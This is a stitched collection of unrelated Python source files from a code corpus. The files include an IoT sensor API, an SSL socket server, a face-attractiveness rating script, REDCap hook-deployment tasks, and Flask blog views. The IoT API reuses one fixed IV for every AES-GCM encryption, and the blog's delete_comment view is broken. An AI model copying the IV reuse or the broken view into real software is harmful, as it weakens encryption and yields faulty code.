icalendar.Calendar()\n\n for day in days:\n event = icalendar.Event()\n event['uid'] = day.pk\n event.add('dtstart', sbz_location.localize(datetime.datetime.combine(day.date, datetime.time(8, 30))).astimezone(pytz.UTC))\n event.add('dtend', sbz_location.localize(datetime.datetime.combine(day.date, datetime.time(9, 0))).astimezone(pytz.UTC))\n event.add('summary', 'Check Drink Rooms')\n # event.add('description', reverse_lazy('hygiene:check_day', day.pk))\n cal.add_component(event)\n\n return HttpResponse(cal.to_ical(), content_type='text/calendar')\n","sub_path":"apps/hygiene/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"304095860","text":"# -*- coding: utf-8 -*-\r\n\r\nfrom flask import Flask, url_for,jsonify\r\nfrom cryptography.fernet import Fernet\r\nfrom cryptography.hazmat.primitives.ciphers.aead import AESGCM\r\n\r\n######################\r\n# =============================================================================\r\n# key = Fernet.generate_key()\r\n# secretKeyFile = open('key.key', 'wb')\r\n# secretKeyFile.write(key) # The key is type bytes still\r\n# secretKeyFile.close()\r\n# =============================================================================\r\n# =============================================================================\r\n# \r\n# file=open('key.key','rb')\r\n# content=file.read()\r\n# file.close()\r\n# =============================================================================\r\n#####################\r\n# =============================================================================\r\n# message=(str(29.58)).encode()\r\n# f = Fernet(key)\r\n# encryptedTemp=f.encrypt(message)\r\n# \r\n# encryptedInString=encryptedTemp.decode('utf-8')\r\n# \r\n# decrtyptedMessage=f.decrypt(encryptedInString.encode())\r\n# =============================================================================\r\n\r\napp = Flask(__name__)\r\nimport os, random\r\n\r\n\r\ndef read_data_from_file(filepath, filename):\r\n path = os.path.join(filepath, filename)\r\n file = open(path, 'rb')\r\n data = file.read()\r\n file.close()\r\n return data\r\n\r\n\r\ndef fernet_encryption():\r\n did = '1'\r\n dtype = 'TemperatureSensor'\r\n secretByteKey = Fernet.generate_key()\r\n f = Fernet(secretByteKey)\r\n devId=f.encrypt(did.encode())\r\n devType=f.encrypt(dtype.encode())\r\n data=f.encrypt(str(round(random.uniform(25.0,30.0),2)).encode())\r\n d = {'deviceId': devId.decode('utf-8'), 'deviceType': devType.decode('utf-8'), 'data': {'temp': data.decode('utf-8')}}\r\n return d\r\n\r\n\r\ndef aes_gcm_encryption():\r\n did = '1'\r\n dtype = 'TemperatureSensor'\r\n aad = \"authenticated but unencrypted data\"\r\n # key = AESGCM.generate_key(bit_length=128)\r\n # iv = os.urandom(12)\r\n key = read_data_from_file(\"/home/shihab/Desktop\", 'key.key')\r\n iv = read_data_from_file(\"/home/shihab/Desktop\", 'iv')\r\n aesgcm = AESGCM(key)\r\n devId = aesgcm.encrypt(iv, did.encode(), aad.encode())\r\n devType = aesgcm.encrypt(iv, dtype.encode(), aad.encode())\r\n data = aesgcm.encrypt(iv, str(round(random.uniform(25.0, 30.0), 2)).encode(), aad.encode())\r\n d = {'deviceId': devId.decode('ISO-8859-1'), 'deviceType': devType.decode('ISO-8859-1'),\r\n 'data': {'temp': data.decode('ISO-8859-1')}}\r\n return d\r\n\r\n\r\n@app.route('/')\r\ndef api_root():\r\n #d={'deviceId':'1','deviceType':'TemperatureSensor','data':str(random.uniform(28.0,30.0))}\r\n #return(jsonify(d))\r\n return 'Welcome Preeti'\r\n\r\n\r\n@app.route('/temp')\r\ndef api_temp():\r\n # d= fernet_encryption()\r\n\r\n d = aes_gcm_encryption()\r\n\r\n print(jsonify(d))\r\n return(jsonify(d))\r\n\r\n\r\n@app.route('/articles')\r\ndef api_articles():\r\n return 'List of ' + url_for('api_articles')\r\n\r\n\r\n@app.route('/articles/')\r\ndef api_article(articleid):\r\n return 'You are reading ' + articleid\r\n\r\n\r\nif __name__ == '__main__':\r\n app.run()\r\n","sub_path":"iot_Code/flaskApp.py","file_name":"flaskApp.py","file_ext":"py","file_size_in_byte":3141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"331221477","text":"import sys\nimport ssl\nimport json\nimport socket\nimport threading\n\nfrom devicecontroller.common import log\nfrom devicecontroller.JobManager import JobManager\nfrom devicecontroller.MessageUtils import *\n\n# This server accepts only one socket connection from one client and keeps it open\n# until client closes connection\n \nclass TCPConnectorServer: \n keepServing = True\n connectionFile = None\n jobManager = None\n HOST = None\n PORT = None\n writeLock = None\n serverCert = None\n serverKey = None\n clientActive = False\n\n def __init__(self, HOST, PORT, serverCert, serverKey):\n self.HOST = HOST\n self.PORT = PORT\n self.jobManager = JobManager(self)\n self.writeLock = threading.Lock()\n self.serverCert = serverCert\n self.serverKey = serverKey\n self.clientActive = False\n\n def serve(self):\n self.keepServing = True\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n #Bind socket to local host and port\n try:\n s.bind((self.HOST, self.PORT))\n except socket.error as msg:\n log.error ('Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + str(msg[1]))\n log.info ('Socket bind complete, listening on ' + str(self.HOST) + ':' + str(self.PORT) )\n #Start listening on socket\n s.listen(10)\n \n #now keep talking with the client\n while (self.keepServing):\n #wait to accept a connection - blocking call\n connstream, addr = s.accept()\n try:\n connection = ssl.wrap_socket(connstream, server_side=True, \n certfile=self.serverCert,\n #cert_reqs=CERT_NONE,\n #ssl_version=SSLv3,\n keyfile=self.serverKey)\n self.connectionFile = connection.makefile(mode='rw')\n log.info ('Connected with ' + addr[0] + ':' + str(addr[1]))\n self.clientActive = True\n try:\n while (self.keepServing):\n self.handleRequest()\n if (self.clientActive == False):\n #client has asked for disconnect\n break\n log.info(\"closing connection ...\") \n self.connectionFile.close() \n connection.close()\n except:\n log.debug(\"client has disconnected.\")\n except:\n log.debug(\"incoming connection has failed\")\n self.clientActive = False \n log.info(\"connection closed, waiting for another one ...\") \n s.close()\n \n def writeToSocket(self, responseObject):\n if (self.clientActive == False):\n log.debug(\"response not send, nobody is listening: \" + str(responseObject))\n return\n self.writeLock.acquire()\n try:\n log.debug(\"sending response: \" + str(responseObject))\n self.connectionFile.write(json.dumps(responseObject) + \"\\n\")\n self.connectionFile.flush()\n finally:\n self.writeLock.release() \n\n def handleRequest(self):\n log.debug(\"handling request ...\")\n try:\n requestData = self.connectionFile.readline()\n requestObject = json.loads(requestData)\n self.jobManager.processRequest(requestObject)\n except ValueError:\n log.debug(\"failed to parse JSON request !\")\n self.writeToSocket(getFailedToParseJsonRequestResponse())\n traceback.print_exc()\n \n def stop(self):\n log.debug(\"server asked to stop ...\")\n self.keepServing = False\n \n","sub_path":"DeviceControllerPy/devicecontroller/TCPConnectorServer.py","file_name":"TCPConnectorServer.py","file_ext":"py","file_size_in_byte":3814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"94675318","text":"\n# coding: utf-8\n\n# In[1]:\n\n\nimport cv2\nimport dlib\nimport math\nimport itertools\nimport numpy as np\nfrom sklearn import decomposition\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn import svm\nfrom sklearn.externals import joblib\nimport matplotlib.pyplot as plt\nimport os\n\n\n# In[2]:\n\n\ndef load_data():\n features = np.loadtxt(r'data\\features_All.txt', delimiter=',')\n ratings = np.loadtxt(r'data\\ratings.txt', delimiter=',')\n return features, ratings\n\n\n# In[3]:\n\n\ndef train_save_model(features, ratings):\n # # load all features\n # features = np.loadtxt(r'data\\features_All.txt', delimiter=',')\n # # seperate datasets into train and test\n # features_train = features[:-50]\n # features_test = features[-50:]\n #\n # # load labels\n # ratings = np.loadtxt(r'data\\ratings.txt', delimiter=',')\n # ratings_train = ratings[0:-50]\n # ratings_test = ratings[-50:]\n #\n # # dimensional reducing\n # pca = decomposition.PCA(n_components=20)\n # pca.fit(features_train)\n # features_train = pca.transform(features_train)\n # features_test = pca.transform(features_test)\n #\n # regr = RandomForestRegressor(n_estimators=50, max_depth=None, min_samples_split=2, random_state=0)\n # regr = regr.fit(features_train, ratings_train)\n # joblib.dump(regr, r'model\\my_face_rating.pkl', compress=1)\n # print('Generate Model Successfully')\n predictions = np.zeros(ratings.size)\n\n for i in range(0, 500):\n features_train = np.delete(features, i, 0)\n features_test = features[i, :]\n ratings_train = np.delete(ratings, i, 0)\n ratings_test = ratings[i]\n pca = decomposition.PCA(n_components=20)\n pca.fit(features_train)\n features_train = pca.transform(features_train)\n features_test = pca.transform(features_test.reshape(1, -1))\n regr = RandomForestRegressor(n_estimators=50, max_depth=None, min_samples_split=2, random_state=0)\n regr.fit(features_train, ratings_train)\n predictions[i] = regr.predict(features_test)\n# print('predictions[{}]:{}'.format(i, predictions[i]))\n print('number of models trained:', i + 1)\n \n pca.fit(features)\n features = pca.transform(features)\n # regr.fit(features_train, ratings_train)\n ratings_predict = regr.predict(features)\n corr = np.corrcoef(ratings_predict, ratings)[0, 1]\n print('Correlation:', corr)\n \n truth, = plt.plot(ratings_test, 'r')\n prediction, = plt.plot(ratings_predict, 'b')\n plt.legend([truth, prediction], [\"Ground Truth\", \"Prediction\"])\n\n plt.show()\n joblib.dump(regr, r'model\\my_face_rating.pkl', compress=1)\n# return regr\n\n\n# In[22]:\n\n\ndef get_landmarks(fileName):\n PREDICTOR_PATH = r'data\\shape_predictor_68_face_landmarks.dat'\n# fileName = 7\n im = cv2.imread('image/{}'.format(fileName))\n detector = dlib.get_frontal_face_detector()\n predictor = dlib.shape_predictor(PREDICTOR_PATH)\n \n rects = detector(im, 1)\n \n if len(rects) >= 1:\n print('{} faces detected.'.format(len(rects)))\n if len(rects) == 0:\n print('No face detected, please change photoes')\n return 1\n f = open(r'data\\landmarks.txt', 'w')\n for i in range(len(rects)):\n landmarks = np.matrix([[p.x, p.y] for p in predictor(im, rects[i]).parts()])\n im = im.copy()\n hello = np.array(landmarks.mean(axis = 0))\n for idx, point in enumerate(landmarks):\n pos = (point[0, 0], point[0, 1])\n\n f.write(str(point[0, 0]))\n f.write(',')\n f.write(str(point[0, 1]))\n f.write(',')\n cv2.circle(im, pos, 3, color = (0, 255, 255))\n f.write('\\n')\n cv2.putText(im, '{}'.format(i), (int(hello[0][0]),int(hello[0][1])),cv2.FONT_HERSHEY_COMPLEX,3,(0,255,255),10)\n f.close()\n # print('{}, get!'.format(fileName))\n cv2.imwrite(r'image_with_features\\{}'.format(fileName),im, [int( cv2.IMWRITE_JPEG_QUALITY), 95])\n return 1\n \n\n\n# In[5]:\n\n\ndef facialRatio(points):\n x1 = points[0]\n y1 = points[1]\n x2 = points[2]\n y2 = points[3]\n x3 = points[4]\n y3 = points[5]\n x4 = points[6]\n y4 = points[7]\n \n dist1 = math.sqrt((x1- x2)**2 + (y1 - y2)**2)\n dist2 = math.sqrt((x3- x4)**2 + (y3 - y4)**2)\n ratio = dist1/dist2\n return ratio\n\n\n# In[11]:\n\n\ndef generateFeatures(pointIndices1, pointIndices2, pointIndices3, pointIndices4, allLandmarkCoordinates):\n size = allLandmarkCoordinates.shape\n allLandmarkCoordinates = allLandmarkCoordinates.reshape(-1, 136)\n# print(size)\n size = allLandmarkCoordinates.shape\n# print(size)\n allFeatures = np.zeros((size[0], len(pointIndices1)))\n for x in range(size[0]):\n landmarkCoordinates = allLandmarkCoordinates[x, :]\n ratios = [];\n for i in range(0, len(pointIndices1)):\n x1 = landmarkCoordinates[2*(pointIndices1[i]-1)]\n y1 = landmarkCoordinates[2*pointIndices1[i] - 1]\n x2 = landmarkCoordinates[2*(pointIndices2[i]-1)]\n y2 = landmarkCoordinates[2*pointIndices2[i] - 1]\n\n x3 = landmarkCoordinates[2*(pointIndices3[i]-1)]\n y3 = landmarkCoordinates[2*pointIndices3[i] - 1]\n x4 = landmarkCoordinates[2*(pointIndices4[i]-1)]\n y4 = landmarkCoordinates[2*pointIndices4[i] - 1]\n\n points = [x1, y1, x2, y2, x3, y3, x4, y4]\n ratios.append(facialRatio(points))\n allFeatures[x, :] = np.asarray(ratios)\n \n return allFeatures\n\n\n# In[7]:\n\n\ndef generateAllFeatures(allLandmarkCoordinates):\n a = [18, 22, 23, 27, 37, 40, 43, 46, 28, 32, 34, 36, 5, 9, 13, 49, 55, 52, 58]\n combinations = itertools.combinations(a, 4)\n i = 0 \n pointIndices1 = []\n pointIndices2 = []\n pointIndices3 = []\n pointIndices4 = []\n \n for combination in combinations:\n pointIndices1.append(combination[0])\n pointIndices2.append(combination[1])\n pointIndices3.append(combination[2])\n pointIndices4.append(combination[3])\n i = i + 1\n pointIndices1.append(combination[0])\n pointIndices2.append(combination[2])\n pointIndices3.append(combination[1])\n pointIndices4.append(combination[3])\n i = i + 1\n pointIndices1.append(combination[0])\n pointIndices2.append(combination[3])\n pointIndices3.append(combination[1])\n pointIndices4.append(combination[2])\n i = i + 1\n return generateFeatures(pointIndices1, pointIndices2, pointIndices3, pointIndices4, allLandmarkCoordinates)\n\n\n# In[8]:\n\n\ndef save_features(fileName):\n if(get_landmarks(fileName)):\n landmarks = np.loadtxt(r'data\\landmarks.txt', delimiter = ',', usecols = list(range(136)))\n featuresAll = generateAllFeatures(landmarks)\n np.savetxt(r'data/my_features.txt', featuresAll, delimiter = ',', fmt = '%.04f')\n return 1\n print('Generate Feature Successfully')\n else:\n return 0\n\n\n# In[32]:\n\n\nfileName = input(\"Please input filename:\")\nfeatures, ratings = load_data()\nif os.path.exists(r'model\\my_face_rating.pkl') == False:\n train_save_model(features, ratings)# Only need to run once when you initiate the program\n \nclf = joblib.load(r'model\\my_face_rating.pkl')\nif save_features(fileName):\n print('Save features successful! ')\n my_features = np.loadtxt(r'data\\my_features.txt', delimiter = ',')\n pca = decomposition.PCA(n_components=20)\n pca.fit(features)\n my = my_features.reshape(-1, 11628)\n my = pca.transform(my)\n predictions = clf.predict(my)\n print(predictions)\n \n for index, prediction in enumerate(predictions):\n print('Index %d: %.4f'%(index, prediction))\n# clf.predict(my)\nelse: \n print(' Save features failed ')\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"589620358","text":"from fabric.api import *\nimport os\nimport re\n\n__all__ = []\n\n@task\ndef activate(hook_function, hook_name, redcap_root, pid):\n \"\"\"\n Activate the hook `hook_name` as type of `hook_function` for the project named by `pid`.\n\n If PID is omitted, the hook will be activated globally.\n\n :param hook_function: one of the 13 named REDCap 'hook functions'\n :param hook_name: the name of the hook file with or without the .php extension\n :param redcap_root: the directory which contains the redcap instance\n :param pid: the ID of the project on which this hook should be activated. If left blank the hook will be activated globally\n :return:\n \"\"\"\n valid_hook_functions=[\"redcap_add_edit_records_page\",\n \"redcap_control_center\",\n \"redcap_custom_verify_username\",\n \"redcap_data_entry_form\",\n \"redcap_data_entry_form_top\",\n \"redcap_every_page_before_render\",\n \"redcap_every_page_top\",\n \"redcap_project_home_page\",\n \"redcap_save_record\",\n \"redcap_survey_complete\",\n \"redcap_survey_page\",\n \"redcap_survey_page_top\",\n \"redcap_user_rights\"]\n if not hook_function in valid_hook_functions:\n print (\"Hook_function parameter not recognized. Please choose from \" + str(valid_hook_functions))\n abort(\"Try again with a valid hook function.\")\n if not re.match('.*\\.php$', hook_name):\n hook_name = hook_name + '.php'\n hook_source_path = \"/\".join([env.hooks_library_path, hook_function, hook_name])\n\n hooks_dir = \"/\".join(env.hooks_framework_path.rsplit('/')[:-1])\n if len(pid)==0:\n hook_source_relative_path = \"/\".join(['..', env.hooks_library_path.rsplit('/').pop(), hook_function, hook_name])\n hook_target_folder = \"/\".join([hooks_dir, hook_function])\n elif re.match('^[0-9]+$', pid):\n hook_source_relative_path = \"/\".join(['..', '..', env.hooks_library_path.rsplit('/').pop(), hook_function, hook_name])\n hook_target_folder = \"/\".join([hooks_dir, 'pid'+pid, hook_function])\n else:\n abort(\"pid must be a numeric REDCap project id. '%s' is not a valid pid\" % pid)\n\n with cd(\"%s\" % redcap_root):\n with settings(warn_only=True):\n if run(\" test -e %s\" % hook_source_path).failed:\n abort(\"Check your parameters. The hook was not found at %s\" % hook_source_path)\n with settings(user=env.deploy_user):\n run(\"mkdir -p %s\" % hook_target_folder)\n run(\"ln -sf %s %s\" % (hook_source_relative_path, hook_target_folder))\n\n\n@task\ndef test(hook_function, hook_path):\n \"\"\"\n Symbolically link a host file that contains a redcap hook into the hooks library space and activate that hook globally\n\n :param hook_function: one of the 13 named REDCap 'hook functions'\n :param hook_path: path to hook file relative to VagrantFile\n :return:\n \"\"\"\n if not os.path.exists(hook_path):\n abort(\"The file %s does not exist. Please provide a relative path to a hook you would like to test in the local vm\" % hook_path)\n hook_name = hook_path.rsplit('/').pop()\n redcap_root = env.live_project_full_path\n hook_source_path = \"/vagrant/\" + hook_path\n hook_target_folder = \"/\".join([redcap_root, env.hooks_library_path, hook_function])\n\n run(\"mkdir -p %s\" % hook_target_folder)\n run(\"ln -sf %s %s\" % (hook_source_path, hook_target_folder))\n activate(hook_function, hook_name, redcap_root, \"\")\n","sub_path":"hook.py","file_name":"hook.py","file_ext":"py","file_size_in_byte":3386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"329111596","text":"'To find the roots of the quadratic eqation'\n\nimport math\n\nprint (\"Eqation format:\\nax^2 + bx +c\")\n\nprint (\"Enter a,b,c respectively:\\n\")\n\na = float(input(\"Enter a: \"))\nb = float(input(\"Enter b: \"))\nc = float(input(\"Enter c: \"))\n\nd = (b * b) - (4 * a * c)\n\nif (d == 0):\n print (\"The eqauation has only one root:\\n\")\n root = (-b + math.sqrt(d)) / 2*a\n print (\"Root: \",root) \n\nelif (d > 0):\n root1 = (-b + math.sqrt(d)) / 2*a\n root2 = (-b - math.sqrt(d)) / 2*a\n print(\"The Equation has two roots:\\n\")\n print(\"Root 1:\",round(root1,1),\"\\nRoot 2\",round(root2,1))\n\nelse:\n print (\"The equation has two imaginary roots!!!\") \n\n \n \n\n","sub_path":"Practical/assignment2/roots.py","file_name":"roots.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"605547485","text":"from . import main\nfrom flask import render_template,request,redirect,url_for,abort,flash\nfrom ..request import get_quote\nfrom ..models import Blog,User,Comment\nfrom .forms import BlogForm,UpdateProfile,CommentForm\nfrom .. import db,photos\nfrom flask_login import login_required,current_user\n\n@main.route('/')\ndef index():\n random_quote = get_quote() \n\n blogs = Blog.query.all()\n lifestyle = Blog.query.filter_by(category='Lifestyle').all()\n fitness = Blog.query.filter_by(category='Fitness').all()\n trending = Blog.query.filter_by(category='Trending').all()\n tech = Blog.query.filter_by(category='IT').all()\n\n return render_template('index.html',quote=random_quote,lifestyle=lifestyle,fitness=fitness,trending=trending,tech=tech)\n\n\n@main.route('/blog/new',methods = ['GET','POST'])\n@login_required\ndef new_blog():\n form = BlogForm()\n\n if form.validate_on_submit():\n title=form.title.data\n category = form.category.data\n blog = form.blog_post.data\n writer= form.writer.data\n blogger = current_user\n new_blog = Blog(title=title,category=category,blog=blog,blogger=current_user._get_current_object().id)\n\n db.session.add(new_blog)\n db.session.commit()\n\n flash('Your Blog has been added...','success')\n return redirect(url_for('main.index',id=new_blog.id))\n\n return render_template('new_blog.html',title='Add Your Blog',blog_form=form)\n\n@main.route('/delete_blog/',methods =['POST'])\n@login_required\ndef delete_blog(id):\n \n blog = Blog.query.get_or_404(id)\n if blog.blogger != current_user:\n abort(403)\n db.session.delete(blog)\n db.session.commit()\n flash('Your post has been deleted!', 'success')\n return redirect(url_for('main.index'))\n \n return render_template('index.html')\n\n\n@main.route('/user/')\ndef profile(uname):\n user = User.query.filter_by(username=uname).first()\n\n if user is None:\n abort(404)\n\n return render_template('profile/profile.html',user=user)\n\n@main.route('/user//update',methods=['GET','POST'])\n@login_required\ndef update_profile(uname):\n user = User.query.filter_by(username=uname).first()\n\n if user is None:\n abort (404)\n form = UpdateProfile()\n\n if form.validate_on_submit():\n user.bio = form.bio.data\n\n db.session.add(user)\n db.session.commit()\n\n return redirect(url_for('.profile',uname=user.username))\n\n return render_template('profile/update.html',form =form)\n\n@main.route('/user//update/pic',methods=['POST'])\n@login_required\ndef update_pic(uname):\n user = User.query.filter_by(username=uname).first()\n if 'photo' in request.files:\n filename = photos.save(request.files['photo'])\n path = f'photos/{filename}'\n user.profile_pic_path = path\n db.session.commit()\n\n return redirect(url_for('main.profile',uname=uname))\n\n\n@main.route('/comments/',methods=['GET','POST'])\ndef comment_review(id):\n comment = CommentForm()\n blog=Blog.query.get(id)\n\n if comment.validate_on_submit():\n content = comment.comment.data\n \n new_post = Comment(comment=content,topic=blog.id)\n\n db.session.add(new_post)\n db.session.commit() \n \n post = 'Share Your Sentiments'\n user=User.query.get(id)\n comments = Comment.query.filter_by(topic=blog.id).all() \n if blog is None:\n abort(404)\n \n return render_template('blog_comments.html',comment_form=comment,post=post,comments=comments,blog=blog,user=user)\n\n@main.route('/delete_comment//',methods=['POST'])\n@login_required\ndef delete_comment(blog_id,comment_id): \n \n # blog = Blog.query.filter_by(id = blog_id).first()\n # comments = Comment.query.filter_by(topic = blog.id).order_by(Comment.posted.desc())\n # comment = Comment.query.filter_by(id = comment_id).first()\n # if blog.user_id == current_user.id:\n\n # Comment.delete_comment(comment)\n\n # return render_template('blog_comments.html', blog = blog, comments = comments)\n comment_form = CommentForm()\n blog=Blog.query.get(id)\n comment = Comment.query.filter_by(id = comment_id).first()\n comments = Comment.query.filter_by(topic=blog.id).all()\n\n if comment.validate_on_submit():\n content = comment.comment.data\n \n new_post = Comment(comment=content,topic=blog.id)\n\n db.session.add(new_post)\n db.session.commit() \n\n if blog.user_id == current_user.id:\n\n Comment.delete_comment(comment)\n return redirect('main.comment_review')\n \n post = 'Share Your Sentiments'\n user=User.query.get(id)\n \n if blog is None:\n abort(404)\n \n return render_template('blog_comments.html',comment_form=comment_form,post=post,comments=comments,blog=blog,user=user)\n","sub_path":"app/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"202855130","text":"import os\nimport pathlib\nimport click\nfrom nilearn.masking import apply_mask\n\nfrom ..utils import get_template\nfrom ..meta.ibma import rfx_glm\n\nn_iters_default = 10000\noutput_prefix_default = ''\n\n\n@click.command(name='conperm', short_help='permutation based metaanalysis of contrast maps',\n help='Metaanalysis of contrast maps using random effects and '\n 'two-sided inference with empirical (permutation based) null distribution '\n 'and Family Wise Error multiple comparison correction.')\n@click.argument('contrast_images', nargs=-1, required=True, type=click.Path(exists=True))\n@click.option('--output_dir', help=\"Where to put the output maps.\")\n@click.option('--output_prefix', help=\"Common prefix for output maps.\",\n default=output_prefix_default, show_default=True)\n@click.option('--n_iters', default=n_iters_default, show_default=True,\n help=\"Number of iterations for permutation testing.\")\ndef con_perm(contrast_images, output_dir=None, output_prefix=output_prefix_default,\n n_iters=n_iters_default):\n target = 'mni152_2mm'\n mask_img = get_template(target, mask='brain')\n click.echo(\"Loading contrast maps...\")\n z_data = apply_mask(contrast_images, mask_img)\n\n click.echo(\"Estimating the null distribution...\")\n res = rfx_glm(z_data, mask_img, null='empirical', n_iters=n_iters)\n\n if output_dir is None:\n output_dir = os.getcwd()\n else:\n pathlib.Path(output_dir).mkdir(parents=True, exist_ok=True)\n\n click.echo(\"Saving output maps...\")\n res.save_results(output_dir=output_dir, prefix=output_prefix)\n","sub_path":"nimare/workflows/ibma_perm.py","file_name":"ibma_perm.py","file_ext":"py","file_size_in_byte":1639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"372570983","text":"#coding:utf-8\nfrom datetime import datetime\nfrom flask import flash, url_for, redirect, render_template, request,\\\n current_app, session, make_response, abort\nfrom flask.ext.login import login_user,logout_user, login_required,\\\n current_user\nfrom . import blog\nfrom ..models import Permission, User, Article, Role, db, Comment\nfrom ..decorators import permission_required\nfrom .blog_form import EditArticleForm, CommentForm\n\n\n@blog.route('/new_article',methods=['GET','POST'])\n@login_required\n@permission_required(Permission.WRITE_ARTICLES)\ndef new_article():\n form = EditArticleForm()\n if form.validate_on_submit():\n digest = ''\n if form.digest.data == '':\n digests = form.body.data[:150]\n article = Article(user_id=current_user.id,subject=form.subject.data,body=form.body.data,\n digest=digests)\n db.session.add(article)\n db.session.commit()\n return redirect(url_for('blog.show_article',username=article.user.username,id=article.id))\n return render_template('blog/new_article.html',form=form)\n \n \n@blog.route('//',methods=['GET','POST'])\ndef show_article(username,id):\n user = User.query.filter_by(username=username).first()\n if user is None:\n abort(404)\n article = Article.query.get(int(id))\n if article is None:\n abort(404)\n if current_user.is_authenticated and current_user.id != user.id:\n article.page_view += 1\n db.session.add(article)\n page = request.args.get('page', 1, type=int)\n pagination = Comment.query.filter_by(article_id=article.id).order_by(Comment.timesamp.desc()).paginate(\n page, per_page=current_app.config['BLOG_ISLAND_COMMENTS_PER_PAGE'],\n error_out=False)\n comments = pagination.items\n\n form = CommentForm() \n if form.validate_on_submit():\n new_comment = Comment(user_id=current_user.id,article_id=article.id,\n comment=form.comment.data)\n db.session.add(new_comment)\n return redirect(url_for('blog.show_article',username=user.username,id=article.id) + '#comment')\n return render_template('blog/show_article.html',article=article,comments=comments,\n pagination=pagination,form=form)\n\n\n@blog.route('/disable_article/',methods=['GET'])\n@login_required\n@permission_required(Permission.MANAGE_ARTICLES)\ndef disable_article(id):\n article = Article.query.get_or_404(int(id))\n if article.disabled:\n flash(u'不能对已封禁的博文执行封禁操作')\n return redirect(url_for('blog.show_article',username=article.user.username,id=article.id))\n article.disabled = True\n db.session.add(article)\n return redirect(url_for('blog.show_article',username=article.user.username,id=article.id))\n \n\n@blog.route('/able_article/',methods=['GET'])\n@login_required\n@permission_required(Permission.MANAGE_ARTICLES)\ndef able_article(id):\n article = Article.query.get_or_404(int(id))\n if not article.disabled:\n flash(u'不能对未封禁的博文执行解封操作')\n return redirect(url_for('blog.show_article',username=article.user.username,id=article.id))\n article.disabled = False\n db.session.add(article)\n return redirect(url_for('blog.show_article',username=article.user.username,id=article.id))\n \n\n@blog.route('/disable_comment/',methods=['GET'])\n@login_required\n@permission_required(Permission.MANAGE_COMMENT)\ndef disable_comment(id):\n comment = Comment.query.get_or_404(int(id))\n if comment.disabled:\n flash(u'不能对已封禁的评论执行封禁操作')\n return redirect(url_for('blog.show_article',username=comment.user.username,id=comment.article.id) + '#comment')\n comment.disabled = True\n db.session.add(comment)\n return redirect(url_for('blog.show_article',username=comment.user.username,id=comment.article.id) + '#comment')\n \n\n@blog.route('/able_comment/',methods=['GET'])\n@login_required\n@permission_required(Permission.MANAGE_COMMENT)\ndef able_comment(id):\n comment = Comment.query.get_or_404(int(id))\n if not comment.disabled:\n flash(u'不能对未封禁的评论执行解封操作')\n return redirect(url_for('blog.show_article',username=comment.user.username,id=comment.article.id) + '#comment')\n comment.disabled = False\n db.session.add(comment)\n return redirect(url_for('blog.show_article',username=comment.user.username,id=comment.article.id) + '#comment')\n \n\n@blog.route('/all',methods=['GET'])\ndef show_articles():\n page = request.args.get('page', 1, type=int)\n pagination = Article.query.order_by(Article.publish_time.desc()).paginate(\n page, per_page=current_app.config['BLOG_ISLAND_ARTICLES_PER_PAGE'],\n error_out=False)\n articles = pagination.items\n return render_template('blog/show_articles.html', articles=articles,\n pagination=pagination)\n\n\n@blog.route('/edit/',methods=['GET','POST'])\n@login_required\n@permission_required(Permission.WRITE_ARTICLES)\ndef edit_article(id):\n form = EditArticleForm()\n article = Article.query.get(int(id))\n if article is None:\n abort(404)\n if form.validate_on_submit():\n article.subject = form.subject.data\n article.body = form.body.data\n article.digest = form.digest.data\n article.edit_time = datetime.utcnow()\n db.session.add(article)\n return redirect(url_for('blog.show_article',username=article.user.username,id=article.id))\n form.subject.data = article.subject\n form.body.data = article.body\n form.digest.data = article.digest\n return render_template('blog/edit_article.html',form=form)\n \n \n \n\n","sub_path":"app_blog_island/blog_bp/blog_view.py","file_name":"blog_view.py","file_ext":"py","file_size_in_byte":5735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"85701116","text":"import json\nimport os\nimport csv\n\nclass loadempmdm:\n\n def __init__(self, i_conn, i_inputfile):\n self.conn = i_conn\n \n input_file = open(i_inputfile,\"r\")\n var_txt = input_file.read()\n input_file.close()\n json_data = json.loads(var_txt)\n self.inputfile = json_data[\"EMPMDM\"]\n self.LoanEmpData()\n\n\n def LoanEmpData(self):\n cursor = self.conn.cursor()\n l_stmt = \"\"\" insert into employees(\n empid,\n ename,\n branch,\n contact\n ) values({},\"{}\",\"{}\",\"{}\") \"\"\";\n\n with open(self.inputfile) as csvfile:\n reader = csv.DictReader(csvfile,delimiter=\",\")\n for row in reader:\n try:\n print(row)\n cursor.execute(l_stmt.format(row['Empid'],row['Name'],row['Branch'],row['Contact']))\n except Exception as e:\n print(str(e))\n \n self.conn.commit()\n cursor.close()\n print('data loaded') \n","sub_path":"LMS/loadempmdm.py","file_name":"loadempmdm.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"295881663","text":"import numpy as np\nfrom pymbar import mbar\n\nfrom origamipy import files\nfrom origamipy import utility\n\n\nclass MBARWrapper:\n def __init__(self, decor_outs):\n self._decor_outs = decor_outs\n self._conditions_to_decor_rpots = {}\n\n def perform_mbar(self):\n print('Performing MBAR')\n rpots_matrix = self._calc_decorrelated_rpots_for_all_conditions()\n num_steps_per_condition = self._decor_outs.get_num_steps_per_condition()\n self._mbar = mbar.MBAR(rpots_matrix, num_steps_per_condition)\n\n def _calc_decorrelated_rpots_for_all_conditions(self):\n 